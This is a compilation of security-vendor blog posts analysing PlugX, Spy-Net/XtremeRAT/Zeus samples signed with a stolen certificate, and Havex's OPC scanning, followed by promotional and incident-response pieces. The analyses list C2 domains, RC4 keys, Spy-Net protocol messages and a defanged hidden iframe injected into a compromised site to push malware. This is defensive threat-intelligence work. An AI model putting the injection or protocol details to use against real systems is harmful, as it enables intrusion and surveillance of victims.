0618961c6abf67670658c659a4b3897f
370e2ebe5d72678affd39264a0d2fedd
55e456339936a56c73a7883ea1ddb672
55e456339936a56c73a7883ea1ddb672
7fade5e7576cc72559c62660371279e8
fa53ca3339bb5619f6e39215a4697b52
1cea8afd101ab50087122231acf88407
26be2cbb00158dfab6c81976d93748e8
ce15fa3338b7fe780e85c511d5e49a98
a494010a51705f7720d3cd378a31733a

PoisonIvy

ae35a23cb418af084d10820bb0eae1d8
99a5fd0eba39efc9cba880d9629217e0
a2494e1e528c4a973232d027172bee44

Pacific Ring of Fire: PlugX / Kaba

As depicted in earlier FireEye blogs, advanced cyber attacks are no strangers to the Asia Pacific region. In this blog, we take a deeper look at some of the advanced persistent threat (APT) malware that have significant presence in the APAC region, starting with PlugX (we detect it as Backdoor.APT.Kaba).

The PlugX / Kaba malware is a well-known remote access tool (RAT) believed to have been around for several years that continues to evolve itself in new attack campaigns. It is often seen used in APT campaigns alongside two other infamous RATs – PoisonIvy and Taidoor. For this blog, FireEye Labs has investigated PlugX samples discovered throughout 2013 as well as recent variants detected between January and June 2014. Countries on both sides of the Pacific incuding the United States as well as Northeast Asian countries such as South Korea, Hong Kong, Japan and Taiwan were most hit by this malware, with attacks spanning multiple industry verticals. The top  5 most targeted verticals include Technology, Aerospace / Defense, Entertainment / Media, Telecommunications and Government (Federal).

Figure 1: PlugX / Kaba Infections (by Country)

Figure 1: PlugX / Kaba Detections (by Country)

Table 1: Top 5 Affected Verticals

Table 1: Top 5 Affected Verticals

Delivering the Attacks

PlugX is most commonly distributed via an exploit, but may also be delivered using a RAR self-extracting executable. Amanda Stewart has written an excellent blog and paper about the common components of the PlugX / Kaba RAT and how it capitalizes on the DLL side-loading technique. In general, the RAT consists of DLL components that are injected into the process memory of svchost.exe. To deliver the DLL components, a “dropper” must first be executed through the use of an exploit, or via social-engineering tactics over e-mail or web to entice the victims to load an executable file.

Figure 2: Primary PlugX “Dropper” File Types

Figure 2: Primary PlugX “Dropper” File Types

While RTF files exploiting CVE-2012-0158 are nothing new, they are still most frequently used in the delivery of PlugX to its targets. The same vulnerability has also been exploited through Excel spreadsheets and Word document files. More recently, a Flash zero-day vulnerability has been exploited to deliver a PlugX payload.

Where an exploit is not used, RAR self-extracting executable (SFX) files were commonly used throughout 2013. These files often appear to have a Word or PDF icon and launch a decoy document that is displayed to the victim. The PlugX RAT is then loaded in the background without the user’s knowledge. While we have noticed a decrease in the use of this vector to deliver PlugX in 2014, it continues to be an effective technique for PlugX and other malware, so we do not expect its use to disappear entirely.

In the below example, the RAR SFX contains a script that loads the RAT (config.exe) and the decoy document (notice.doc).

Figure 3: RAR SFX Script and Files

Figure 3: RAR SFX Script and Files

Command and Control

We have found two dominant variants, SideBar and RasTLS, using 4 of the top 10 domains associated with the PlugX / Kaba command and control (C2) infrastructure. In fact, the 4 domains resolved to the same IP range based in Hong Kong likely operated by the same threat group(s).

Table 2: Top domains used in PlugX / Kaba Callbacks

Table 2: Top Domains used in PlugX / Kaba Callbacks

SideBar

The SideBar variant is delivered through RTF, Word and Excel files. Upon successfully exploitation, it drops “dw20.dll” to the %TEMP% folder. This “dw20.dll” continues to install the following files:

  • %ALLUSERS%\WS\Gadget.exe (MD5: 6b97b3cd2fcfb4b74985143230441463)
  • %ALLUSERS%\WS\SideBar.dll (MD5: 123e1841cc596c1f40e2e6693ea7dcac)
  • %ALLUSERS%\WS\SideBar.dll.doc (MD5: a0c93bdc089e1338cc392108a0e57f2f)

A service registry key is created to start “Gadget.exe” upon reboot of the infected system.
“Gadget.exe” is part of a benign “TENCENT Sidebar” application digitally signed by “Tencent Technology(Shenzhen) Company Limited “. Using the DLL-side loading method, a malicious version of“SideBar.dll” is loaded and executes the exported function “Main”.

“SideBar.dll” is a loader for “SideBar.dll.doc”, executing code at offset 0. “SideBar.dll.doc” decodes a part of its own data and is responsible for deflating a backdoor component. It spawns a new svchost.exe process and injects the backdoor into memory. This backdoor component remains only in memory, and is never saved to disk.

Figure 4: Decompressing Encoded Data

Figure 4: Decompressing Encoded Data

Version information can often be found in PlugX’s process memory. In SideBar, a DWORD value storing the internal version number was 0×20120123. The path names found in the deflated backdoor’s process memory indicating that this PlugX variant is version 6.0:

  • “d:\work\plug6.0(360)(gadget)”

The variant connects to fast.bacguarp.com and bbs.zuesinfo.com over port 8080.

RasTLS

While the RasTls variant is also dropped by document exploits, the dropped files are different. RasTls does not use the DLL side-loading method found in older variants [3]. The DWORD used to store the internal version number of RasTls was 0×20130810.

  • %ALLUSERS%\DRM\RasTls\RasTls.exe

“RasTls.exe” spawns “svchost.exe” and injects a deflated backdoor component into memory. The deflated backdoor component in memory contains a “XV” marker, instead of “MZ” and “PE” as found in regular Windows portal executable (PE) files. This is because “RasTls.exe” manually loads each section of deflated file into memory, so the file does not have to be a complete PE image.

Figure 5: Backdoor Component with “XV” maker instead of “MZ” and “PE”

Figure 5: Backdoor Component with “XV” maker instead of “MZ” and “PE”

The variant doesn’t contain strings implying version. The variant accept commands like as “ST1”, “ST2”, “TT1”,”TT2” which are different from version 6.

In memory space in the “svchost.exe”, we can see the decoded configuration information:

Figure 6: Decoded Configuration Information

Figure 6: Decoded Configuration Information

All RasTls variants have largely identical configuration and connects to scqf.bacguarp.com and scqf.zuesinfo.com over port 443. The “My_Name” mutex is also common to all RasTls variants.

PlugX Encryption Algorithm

PlugX has a variety of encryption algorithms used to encrypt its data across variants. However, the encryption style is largely similar as depicted in Figure 7.

Figure 7: PlugX Decryption Algorithm

Figure 7: PlugX Decryption Algorithm

In RasTls, the DWORD decryption key was found in the first four bytes of the encrypted string. It was also less aggressive in encrypting and hiding its data. In older variants such as “win3dx.DLL” (MD5: 7ADAE0335C9D6C9F3826CDE9747438B7), most API names were decrypted before loading and nullified after use. This makes understanding the malware slightly more difficult for malware analysts.

The supported functionalities are largely similar where it uses the identical command code. Below is a list of PlugX commands for file system manipulation:

  • 0×3000: GetDiskRelatedInformation
  • 0×3001: SearchDirectoryForFiles
  • 0×3002: SearchDirectoryRecursively
  • 0×3004: ReadFile
  • 0×3007: WriteFile
  • 0x300A: CreateDirectory
  • 0x300C: CreateWindowsDesktop
  • 0x300D: PerformSH_FileOperation
  • 0x300E: ExpandEnvironmentVariable

Some improvements were made by its developers. For example, the key logger function was updated to utilize the GetRawInputData API to collect keystrokes. “RegisterRawInputDevices” and “GetRawInputData” were two of the few API names that remain encrypted in RasTls.

Updated Key Logging Component

Figure 8: Updated Key Logging Component

PlugX / Kaba Trending

Figure 9 shows the trending of total PlugX / Kaba infections and their variants: SideBar and RasTLS. The spike in September 2013 was caused by SideBar. In 2014, we see SideBar and RasTLS on an inverse trend, with the latter on a steady increase.

Figure 9: Trending of Overall PlugX / Kaba , SideBar, RasTLS Infections

Figure 9: Trending of Overall PlugX / Kaba , SideBar, RasTLS Infections

Figure 10 shows the distribution of SideBar/RasTls variants by country. The C2 servers are located in Hong Kong, where much of the attacks have occurred. We also find a variety of countries targeted by these variants. In some of the exploit documents delivering these variants, the content revolves around the theme of NGOs and socio-political events in China and Japan. These are content that would likely be of interest to the victims who would be opening the documents.

Figure 10: Distribution of SideBar/RasTls Variants by Country

Figure 10: Distribution of SideBar/RasTls Variants by Country

Conclusion

The Asia Pacific region remains a highly attractive target of advanced cyber-attacks. Many threat groups  have a particular in interest in this region, and are likely continue to launch new attacks against targets here. We recommend that users in this region block access to the above C2 servers. FireEye Labs will continue to monitor and report on new PlugX / Kaba developments.

 

The Little Signature That Could: The Curious Case of CZ Solution

Malware authors are always looking for new ways to masquerade their actions. Attackers are looking for their malware to be not only fully undetectable, but also appear valid on a system, so as not to draw attention. Digital signatures are one way malware authors keep under the radar. Digital signatures are an easy, quick way to verify the authenticity of an application utilizing the signature.

Threat actors routinely steal digital signing certificates to hide in plain sight. There are recent reports of banking Trojans such as Zeus, using valid signatures to get past both automated and human defenses. Part of performing accurate threat intelligence is continually looking to the past to help better predict the future. This is proven in the samples we will be discussing in this blog. Many of the samples throughout this blog are from the summer of 2013. These particular samples however, piqued our interest because of the mass distribution of RATs in a particular targeted region. It also reminded us of a recent XtremeRAT blog we published earlier in 2014.

The Little Signature That Could

While investigating an uptick in Spy-Net spam campaigns, we came across a malware binary that was digitally signed that struck our interest. Spy-Net allows an attacker to interact with the victim via a remote shell to upload/download files, interact with the registry, running processes and services as well as capture images of the desktop and record form the webcam and audio. It also contains functionality to extract saved passwords and turn the victim into a proxy server. During the build process, an attacker can choose to enable a keylogger and evasion functionality designed to stop the information process if a debugger or virtual machine is found.

We noticed that one of the Spy-Net binary files, sc2.exe (MD5: 6a56f6735f4b16a60f39b18842fd97d0), upon closer inspection, was utilizing a valid digital signature, from a company called CZ Solution Co. Ltd.

cz1

Figure 1: Signature Details of sc2.exe

Looking closer at the signature, we noticed that all of the details were intact, and appeared to be valid. There are two additional code-signing certificates issued to CZ Solution Co. Ltd.

cz2

Figure 2: Additional Signature Details

Investigation of sc2.exe showed typical Spy-Net behaviors. The sample beaconed out to ekinox.no-ip.info. From here, we decided to pivot off the CZ Solution signature and see what we could find.

Connections Emerge

As we started to pivot off the CZ Solution signature, we started to see some interesting commonalities. Pivoting proved that the CZ Solution signature was not just used in Spy-Net binaries. We quickly found that this signature was being used with XtremeRAT, a popular RAT that cybercriminals and targeted attackers use regularly. The code of XtremeRAT is shared amongst several other Delphi RAT projects including Spy-Net, CyberGate, and Cerberus.

XtremeRAT allows an attacker to:

  • Interact with the victim via a remote shell
  • Upload/download files
  • Interact with the registry
  • Manipulate running processes and services
  • Capture images of the desktop
  • Record from connected devices, such as a webcam or microphone

One binary for instance, m.exe (MD5: c27232691dacf4cff24a4d04b3b2896b) which was XtremeRAT, was seen beaconing out to http://omegaphotography.[co].uk, batardchris.servehttp.com /1234567890.functions, and www.batteurmag.com/[plugin].xtr.

Likewise, we saw multiple samples of the Zeus Trojan utilizing the CZ Solution signature. Zeus modifiers can tune Zeus to steal information they are interested in; typically login credentials for online social networkse-mail accountsonline banking or other online financial services. Zeus is commonly seen targeting customers of financial institutions.

One of the Zeus samples, uk.exe (MD5: dcd3e45d40c8817061f716557e7a05b6) that was utilizing the CZ Solution signature, was beaconing out to claire-morin.com/file.php.

Looking at the three samples show that CZ Solution was used to create and sign Spy-Net, XtremeRAT, and Zeus samples. Graphing out the connections between the samples we profiled, you can quickly see how fast this web of similarities continue.

cz3Figure 3: Connection Profile of Binaries Using CZ Solution

The French Connection and C2 overlap

Attribution of actors and/or campaigns can often be a difficult and tedious task. However, since we were dealing with so many inter-twining binaries, we could start to draw some parallels between samples.

When looking at the overall connections between the CZ solution signature, you can start to see a trend emerge.  First, there is some C2 overlap. For instance Dllsv.exe (MD5: 3f042fd6b9ce7e23b3c84c6f7323dd75) communicates out to ekinox.no-ip.info, using the same CZ Solution cert. This malware is flagged as BozokRAT; a user-friendly RAT that can upload and download files to and from a computer, modify registry entries, and perform other typical RAT functions. That same C2, ekinox.no-ip.info, is also seen used by the aforementioned Spy-Net binary, sc2.exe (MD5: 6a56f6735f4b16a60f39b18842fd97d0).

In another example of C2 overlap, a file named uk.exe, (MD5: 9c11ef09131a3373eef5c9d83802d56b) uses its C2 as omega-photography.co.uk. This sample is an active Zeus binary. That same C2 is used with a file named x.exe, (MD5: c27232691dacf4cff24a4d04b3b2896b), an active XtremeRAT binary.

Next, we needed to identify at least one infection vector to ensure we could track how one of the binaries using the CZ Solution signature was getting into environments.

In one case, we found the infection vector for an XtremeRAT binary that was using the CZ Solution certificate. The binary came in the form of phished email (MD5: 7c00ba0fcbfee6186994a8988a864385) purportedly from Armani regarding an order.

cz4

The email was in French and the headers were interesting, as the same sender has been seen in multiple French spam runs.

cz5

The attachment in the email is using the RTLO trick to disguise a 7zip file as a PDF.

While looking at the all the samples we correlated and pivoted off of, we found that a majority of both the language and C2’s being used all revolved around the French language. The domains that were part of the C2 infrastructure were almost all exclusively French, as was the registrant information for the domains in question.

Spy-Net C2 Protocol Analysis

As we have already shared some analysis details of XtremeRAT in a previous blog, we decided to share some information and tools we built regarding Spy-Net this time. This information is based on our analysis of Spy-Net version 2.6 specifically. Other versions of Spy-Net may have significant changes to the protocol. Spy-Net 2.6 utilizes a homegrown protocol like many other publicly available RATs. It’s an ASCII based, pipe-delimited protocol utilizing Portuguese keywords that employs two totally different forms of obfuscation: one for outbound communication to the attacker and another for inbound communication to the implant. The outbound communications are compressed with zlib and encrypted with RC4. The RC4 key is hard-coded and is updated with version changes. For example, the RC4 key for Spy-Net 2.6 is njkvenknvjebcddlaknvfdvjkfdskv, while for CyberGate 1.07, which has a similar (if not the same) protocol the key is njgnjvejvorenwtrnionrionvironvrnvcg107 and CyberGate 1.18’s key is njgnjvejvorenwtrnionrionvironvrnvcg117.

The astute reader may have noticed that the last three numbers of the CyberGate keys (roughly) represent the version number of CyberGate. The inbound communication to the implant employs an ASCII encoding scheme similar to Base64.  This protocol begins with a simple authentication scheme where the implant sends an authentication password that is validated by the client. This password is configurable by the attacker and defaults to abcd1234.  The implant then proceeds to send the entirety of its configuration information, as configured by the attacker, to the client so it can be displayed on its “Configuration” tab.

Authentication

Implant->Client: mypassword|Y|

Configuration Request and Response

Client->Implant: configuracoesdoserver|

Implant->Client: configuracoesdoserver|configuracoesdoserver|192.168.1.2:81|#myID|mypassword|C:\WINDOWS\install\server.exe|C:\Program Files\Internet Explorer\iexplore.exe| | |{0OP8GNN1-GIWW-CC7M-AJ0I-6Y554UOJJ241}|Policies|FALSE|TRUE|TRUE|TRUE|***MUTEX***| | |TRUE|FALSE| | | | | | |FALSE|FALSE|FALSE|FALSE|FALSE|FALSE|FALSE|FALSE|FALSE|FALSE|FALSE|FALSE|FALSE|server.exe#crack.exe#|FALSE|

The outbound communications from the implant to the client are prepended with an ASCII representation of the length of the payload followed by a pipe character and a new line character.

cz6

There is a noticeable lack of sophistication in Spy-Net’s code. For example, in some cases the length indicator is followed by a pipe and a single new line (\n) character as seen in *nix based operating systems. In other cases, the indicator is followed by the carriage return and new line characters (\r\n), as seen in Windows operating systems. This lack of conformity is also witnessed in how there are two totally different schemes used for obfuscation, and in how obfuscation is not used for file transfers as it is otherwise used throughout the protocol.

Spy-Net Protocol Decoder

Since Spy-Net is a publicly available RAT that we see in use quite often, we decided to build a ChopShop module for it and share it in cooperation with our friends at MITRE.  The module is now available as a standard part of the framework available on GitHub.  We are also sharing a Spy-Net configuration dumping pycommand for Immunity Debugger.  While hunting for related samples in VirusTotal, we came across a pcap that had captured the initial infection and subsequent communication of the Spy-Net binary we initially mentioned, (MD5: 6a56f6735f4b16a60f39b18842fd97d0). This gave us a great opportunity to test our new decoder. One thing that Spy-Net implants will commonly send out automatically is a thumbnail image of the user’s desktop. This is displayed on the client.

cz7

Our decoder can extract such images from the pcap and what we found gave us a further hint that we may be dealing with attacks focused in France. Although difficult to read due to the very low resolution of the thumbnail, our pcap decoder was able to tell us that the title of the browser window currently open in this screenshot is “Football – MAXIFOOT l’actualit  foot et transfert – Windows Internet Explorer.”

cz8

Distribution via Malicious Java Applet

According to the details of the pcap we decoded, this French football Web site (maxifoot.fr) was apparently compromised and had an iframe inserted into it that pointed to another compromised Web site, a Canadian addiction recovery resource: unwasted.ca.

<iframe width=”1px” height=”1px” src=”hxxp://unwasted.ca/skins/index.html” style=”display: block;” ></iframe>

The latter site hosted a malicious Java applet that downloaded the Pony/Fareit malicious downloader. The downloader then proceeded to install ZeuS and download and execute the aforementioned Spy-Net binary. All of these binaries were signed with the stolen digital certificate. The malicious Java applet used to install the Pony downloader was created by Foxxy Software and had been previously written about by ESET.

RAT Configuration Details

We assembled a compilation of the meaningful configuration data found in the XtremeRAT and Spy-Net samples we came across in our analyses. You can observe some similarities between the samples’ configurations.

MD5 Version Dir/Path ID Group Mutex Password
f5e6c0a2c9000311513521947a76cb4b Spy-Net 2.6 C:\WINDOWS\system32\conhost\conhost.exe Updater2014 NA R5438NM5 abcd1234
6a56f6735f4b16a60f39b18842fd97d0 Spy-Net 2.6 C:\WINDOWS\system32\Winini\taskhost.exe Uframer NA A7TF5W abcd1234
7416ec2889227f046f48c15c45c102da XtremeRAT 3.5 Private InstallDir SpaM SPAM eyA8znpc NA
2e776e18dec61cf6ccd68fbacd55fab3 XtremeRAT 3.5 Private svhost Diesel Diesel lNFAH0 NA
be47ec66d861c35784da527bf0f2e03a XtremeRAT 3.5 Private svhost IdSec USA3 lNFAH0 NA
c27232691dacf4cff24a4d04b3b2896b XtremeRAT 3.5 Private InstallDir IdSec idsection eyA8znpc NA
e79636e4c7418544d188a29481c100bb XtremeRAT 3.5 Private svhost IdSec USA3 lNFAH04 NA
bd70a7cae3ebf85cf1edd9ee776d8364 XtremeRAT 3.5 Private svhost IdSec IdSec lNFAH0 NA
0be3b0e296be33903bf76b8cd9cf52ca XtremeRAT 3.5 Private svhost CiTa IdSec x4KybsbM NA

Conclusion

The usage of digital signatures isn’t going to decrease anytime soon- especially by threat actors. It gives them a quick, easy way to bypass traditional security controls since certificates and signatures are typically trusted by default. In this blog, we are shown that this trend still true. We looked towards the past in this blog, to better understand motivations and trends going forward. We can accurately say, based on the information attributed, that the CZ Solution signatures were being utilized by an individual or group of individuals using French assets and infrastructure.

These particular actors didn’t show a significant level of expertise, but did show collective resources with knowledge in at least Zeus, Spy-Net, and XtremeRAT. We can say accurately that it is likely these actor(s) were using the same signature to send out a wide range of binaries, possibly even outside of the realm of the four families discussed here. As we wrote this blog, we couldn’t help but be reminded of the spam run focused in Colombia and Central America that we wrote about back in February of this year. A spam run that is regionally focused, but with no apparent targeting in nature, utilizing a mix of ZeuS and off-the-shelf RATs.

Helping protect your organization from threats using valid digital signatures can include verification of the signature’s serial number. In this case, the serial number: 6e 7b 63 95 ac 5b 5c 8a 2a ec c4 52 8d 9e 65 10, is the identifier to locate in regards to this publisher. Also, if you’re running your own internal certificate authority, ensure you are adequately revoking certificates that may have been compromised. This will help ensure compromised certificates are not utilized in attacks.

 

Havex, It’s Down With OPC

FireEye recently analyzed the capabilities of a variant of Havex (referred to by FireEye as “Fertger” or “PEACEPIPE”), the first publicized malware reported to actively scan OPC servers used for controlling SCADA (Supervisory Control and Data Acquisition) devices in critical infrastructure (e.g., water and electric utilities), energy, and manufacturing sectors.

While Havex itself is a somewhat simple PHP Remote Access Trojan (RAT) that has been analyzed by other sources, none of these have covered the scanning functionality that could impact SCADA devices and other industrial control systems (ICS). Specifically, this Havex variant targets servers involved in OPC (Object linking and embedding for Process Control) communication, a client/server technology widely used in process control systems (for example, to control water pumps, turbines, tanks, etc.).

Note: ICS is a general term that encompasses SCADA (Supervisory Control and Data Acquisition) systems, DCS (Distributed Control Systems), and other control system environments. The term SCADA is well-known to wider audiences, and throughout this article, ICS and SCADA will be used interchangeably.

Threat actors have leveraged Havex in attacks across the energy sector for over a year, but the full extent of industries and ICS systems affected by Havex is unknown. We decided to examine the OPC scanning component of Havex more closely, to better understand what happens when it’s executed and the possible implications.

OPC Testing Environment

To conduct a true test of the Havex variant’s functionality, we constructed an OPC server test environment that fully replicates a typical OPC server setup (Figure 1[3]). As shown, ICS or SCADA systems involve OPC client software that interacts directly with an OPC server, which works in tandem with the PLC (Programmable Logic Controller) to control industrial hardware (such as a water pump, turbine, or tank). FireEye replicated both the hardware and software the OPC server setup (the components that appear within the dashed line on the right side of Figure 1).

havex1

Figure 1: Topology of typical OPC server setup

The components of our test environment are robust and comprehensive to the point that our system could be deployed in an environment to control actual SCADA devices. We utilized an Arduino Uno[1] as the primary hardware platform, acting as the OPC server. The Arduino Uno is an ideal platform for developing an ICS test environment because of the low power requirements, a large number of libraries to make programming the microcontroller easier, serial communication over USB, and cheap cost. We leveraged the OPC Server and libraries from St4makers[2] (as shown in Figure 2). This software is available for free to SCADA engineers to allow them to develop software to communicate information to and from SCADA devices.

havex2

Figure 2: OPC Server Setup

Using the OPC Server libraries allowed us to make the Arduino Uno act as a true, functioning OPC SCADA device (Figure 3).

havex3

Figure 3: Matrikon OPC Explorer showing Arduino OPC Server

We also used Matrikon’s OPC Explorer[1], which enables browsing between the Arduino OPC server and the Matrikon embedded simulation OPC server. In addition, the Explorer can be used to add certain data points to the SCADA device – in this case, the Arduino device.

havex4

Figure 4: Tags identified for OPC server

In the OPC testing environment, we created tags in order to simulate a true OPC server functioning. Tags, in relation to ICS devices, are single data points. For example: temperature, vibration, or fill level. Tags represent a single value monitored or controlled by the system at a single point in time.

With our test environment complete, we executed the malicious Havex “.dll” file and analyzed how Havex’s OPC scanning module might affect OPC servers it comes in contact with.

Analysis

The particular Havex sample we looked at was a file named PE.dll (6bfc42f7cb1364ef0bfd749776ac6d38). When looking into the scanning functionality of the particular Havex sample, it directly scans for OPC servers, both on the server the sample was submitted on, and laterally, across the entire network.

The scanning process starts when the Havex downloader calls the runDll export function.  The OPC scanner module identifies potential OPC servers by using the Windows networking (WNet) functions.  Through recursive calls to WNetOpenEnum and WNetEnumResources, the scanner builds a list of all servers that are globally accessible through Windows networking.  The list of servers is then checked to determine if any of them host an interface to the Component Object Models (COM) listed below:

Screen Shot 2014-07-17 at 12.31.56 PM

Figure 5: Relevant COM objects

Once OPC servers are identified, the following CLSIDs are used to determine the capabilities of the OPC server:

Screen Shot 2014-07-17 at 12.33.22 PM

            Figure 6: CLSIDs used to determine capabilities of the OPC server

When executing PE.dll, all of the OPC server data output is first saved as %TEMP%\[random].tmp.dat. The results of a capability scan of an OPC server is stored in %TEMP%\OPCServer[random].txt. Files are not encrypted or deleted once the scanning process is complete.

Once the scanning completes, the log is deleted and the contents are encrypted and stored into a file named %TEMP%\[random].tmp.yls.  The encryption process uses an RSA public key obtained from the PE resource TYU.  The RSA key is used to protect a randomly generated 168-bit 3DES key that is used to encrypt the contents of the log.

The TYU resource is BZip2 compressed and XORed with the string “1312312”.  A decoded configuration for 6BFC42F7CB1364EF0BFD749776AC6D38 is included in the figure below:

Screen Shot 2014-07-17 at 12.27.24 PM

Figure 7: Sample decoded TYU resource

The 4409de445240923e05c5fa6fb4204 value is believed to be an RSA key identifier. The AASp1… value is the Base64 encoded RSA key.

A sample encrypted log file (%TEMP%\[random].tmp.yls) is below.

00000000  32 39 0a 66 00 66 00 30  00 30 00 66 00 66 00 30 29.f.f.0.0.f.f.000000010  00 30 00 66 00 66 00 30  00 30 00 66 00 66 00 30 .0.f.f.0.0.f.f.000000020  00 30 00 66 00 66 00 30  00 30 00 66 00 66 00 30 .0.f.f.0.0.f.f.000000030  00 30 00 66 00 66 00 30  00 30 00 66 00 37 39 36 .0.f.f.0.0.f.79600000040  0a 31 32 38 0a 96 26 cc  34 93 a5 4a 09 09 17 d3 .128..&.4..J….00000050  e0 bb 15 90 e8 5d cb 01  c0 33 c1 a4 41 72 5f a5 …..]…3..Ar_.00000060  13 43 69 62 cf a3 80 e3  6f ce 2f 95 d1 38 0f f2 .Cib….o./..8..00000070  56 b1 f9 5e 1d e1 43 92  61 f8 60 1d 06 04 ad f9 V..^..C.a.`…..00000080  66 98 1f eb e9 4c d3 cb  ee 4a 39 75 31 54 b8 02 f….L…J9u1T..00000090  b5 b6 4a 3c e3 77 26 6d  93 b9 66 45 4a 44 f7 a2 ..J<.w&m..fEJD..000000A0  08 6a 22 89 b7 d3 72 d4  1f 8d b6 80 2b d2 99 5d .j”…r…..+..]000000B0  61 87 c1 0c 47 27 6a 61  fc c5 ee 41 a5 ae 89 c3 a…G’ja…A….000000C0  9e 00 54 b9 46 b8 88 72  94 a3 95 c8 8e 5d fe 23 ..T.F..r…..].#000000D0  2d fb 48 85 d5 31 c7 65  f1 c4 47 75 6f 77 03 6b -.H..1.e..Guow.k

–Truncated–Probable Key Identifierff00ff00ff00ff00ff00ff00ff00fRSA Encrypted 3DES Key5A EB 13 80 FE A6 B9 A9 8A 0F 41…The 3DES key will be the last 24 bytes of the decrypted result.3DES IV88 72  94 a3 95 c8 8e 5d3DES Encrypted Logfe 23 2d fb 48 85 d5 31 c7 65 f1…

Figure 8: Sample encrypted .yls file

Execution

When executing PE.dll against the Arduino OPC server, we observe interesting responses within the plaintext %TEMP%\[random].tmp.dat:

Screen Shot 2014-07-17 at 12.41.27 PM

Figure 9: Sample scan log

The contents of the tmp.dat file are the results of the scan of the network devices, looking for OPC servers. These are not the in-depth results of the OPC servers themselves, and only perform the initial scanning.

The particular Havex sample in question also enumerates OPC tags and fully interrogates the OPC servers identified within %TEMP%\[random].tmp.dat. The particular fields queried are: server state, tag name, type, access, and id. The contents of a sample %TEMP%\OPCServer[random].txt can be found below:

Screen Shot 2014-07-17 at 12.43.48 PM

Figure 10: Contents of OPCServer[Random].txt OPC interrogation

While we don’t have a particular case study to prove the attacker’s next steps, it is likely after these files are created and saved, they will be exfiltrated to a command and control server for further processing.

Conclusion

Part of threat intelligence requires understanding all parts of a particular threat. This is why we took a closer look at the OPC functionality of this particular Havex variant.  We don’t have any case study showcasing why the OPC modules were included, and this is the first “in the wild” sample using OPC scanning. It is possible that these attackers could have used this malware as a testing ground for future utilization, however.

Since ICS networks typically don’t have a high-level of visibility into the environment, there are several ways to help minimize some of the risks associated with a threat like Havex. First, ICS environments need to have the ability to perform full packet capture ability. This gives incident responders and engineers better visibility should an incident occur.

Also, having mature incident processes for your ICS environment is important. Being able to have security engineers that also understand ICS environments during an incident is paramount. Finally, having trained professionals consistently perform security checks on ICS environments is helpful. This ensures standard sets of security protocols and best practices are followed within a highly secure environment.

We hope that this information will further educate industrial control systems owners and the security community about how the OPC functionality of this threat works and serves as the foundation for more investigation. Still, lots of questions remain about this component of Havex. What is the attack path? Who is behind it? What is their intention? We’re continuing to track this specific threat and will provide further updates as this new tactic unfolds.

Acknowledgements

We would like to thank Josh Homan for his help and support.

Related MD5s

ba8da708b8784afd36c44bb5f1f436bc

6bfc42f7cb1364ef0bfd749776ac6d38

4102f370aaf46629575daffbd5a0b3c9

References

Security Perspective


Filter by Category:


Black Hat USA 2014: The Ultimate Cybersecurity Event

Black Hat USA is about to return for its 17th year in Las Vegas, NV. The show will bring together the brightest minds in the world of cybersecurity for a six-day period where learning, networking, and skill-building top the activity list. FireEye will be there in full force.

Here is what you need to know:

  • Be on the Look Out: FireEye and Mandiant will have a presence at the conference in booths 411 and 246, respectively. You’ll be able to watch live demos, attend presentations, and get the latest updates on our full platform of technologies and services.
  • Jump into the Trenches: Join FireEye CTO Dave Merkel on Thursday, August 7 from 1-2PM for his insightful presentation “Lessons from the Trenches: Advanced Techniques for Dealing with Advanced Attacks” which will review the latest approaches attackers are using to compromise organizations and, more importantly, what the most innovative security teams are doing to stay ahead. Mr. Merkel will be drawing on data and anecdotes from hundreds of organizations, and will outline how leading security teams have reorganized, re-architected and realigned their security strategies.
  • Take a Practical View: Visit the FireEye booth (411) for ongoing presentations with a focus on various case studies that can be applied to everyday activities. Presentations will be interactive and include audience responses.
  • View Live Demonstrations: FireEye will have eight demo stations networked to live products and solutions to recreate real and recognizable environments.
  • Come out and Party: Join the FireEye crew for an event co-sponsored by Rapid7 on Wednesday, August 6 at XS Nightclub in Wynn/Encore. Register for the party here!
  • M After Dark: There is nothing quite like Mandiant’s “M After Dark” party, which will take place on August 5, from 7-9PM at the Eye Candy Sound Lounge at Mandalay Bay. Click here for registration information.

We hope to see you in Las Vegas the week of August 2 through August 7. If you are unable to attend, check back on the blog for insights from the conference.

 

 

Security as a Differentiator: Investis Partners With FireEye Managed Defense to Offer Its Clients the Very Best in Cybersecurity

This is a contributed post from Alex Booth, COO, Investis

As a provider of digital corporate communication services to many of the world’s leading companies, information security is of critical importance to us here at Investis. In order to be the world’s safest platform for managing digital communications and hosting corporate sites, we wanted the strongest security partner in the business. As COO of Investis, this was a critical decision which is why I wanted to share the reasons we chose FireEye Managed Defense. To give you the short version, though, the choice was easy – the long version of which you can see in the video below or get a synopsis of in this post…

We are an ISO 27001 certified company and a member of CISP, the UK government’s cybersecurity information partnership. We believe you can never take security too seriously, especially in a digital landscape with increasingly sophisticated cybercrime. With that in mind, we wanted the most advanced solution to protect our environment and clients, and FireEye was the perfect partner to help us safeguard against advanced threats.

FireEye is the cybersecurity partner of choice for many of the US’s largest firms and its subsidiary, Mandiant, was selected by the UK Government Communications Headquarters (GCHQ) as one of four vendors certified to respond to cybersecurity attacks targeting the UK’s national infrastructure.

As a result of an on-site assessment by Mandiant consultants, we chose to augment our security team with the FireEye Managed Defense service.

We are looking forward to working with the great team over at FireEye to ensure we offer our clients the very best in cybersecurity.

US GAO Report Highlights Incident Response Shortcomings

On May 30th, 2014, the US Government Accountability Office (GAO) released a report titled “Information Security: Agencies Need to Improve Cyber Incident Response Practices.” GAO conducted its research by randomly selecting six government agencies, then selecting a statistically significant number of incident reports (40 from each organization), documented during 2012. GAO then evaluated how the agencies performed, based on the reports. GAO compared the documented incident response actions to requirements set by the Federal Information Security Management Act of 2002 (FISMA) and National Institute of Standards and Technology (NIST) Special Publication 800-61, Computer Security Incident Handling Guide. The results were surprising and I will explain the significance of several excerpts in this post.

First, “agencies had recorded actions to halt the spread of, or otherwise limit, the damage caused by an incident in about 75 percent of incidents government-wide. However, agencies did not demonstrate such actions for about 25 percent of incidents government-wide.”

This comment references the need to contain an intrusion. If a government agency fails to completely contain an intrusion, any gaps leave the adversary freedom of maneuver. He can exploit the containment failure to proliferate to other systems and remain in control of an organization’s systems. Anything less than 100% containment is essentially 0% containment.

Second, “for about 77 percent of incidents government-wide, the agencies had identified and eliminated the remaining elements of the incident. However, agencies did not demonstrate that they had effectively eradicated incidents in about 23 percent of incidents.”

This comment references the need to remove an intruder from a compromised organization. Similar to the need for 100% containment, one must also achieve 100% removal in order to completely frustrate the adversary. If an adversary retains access to even one system, he can rebuild his position and retake control of the victim.

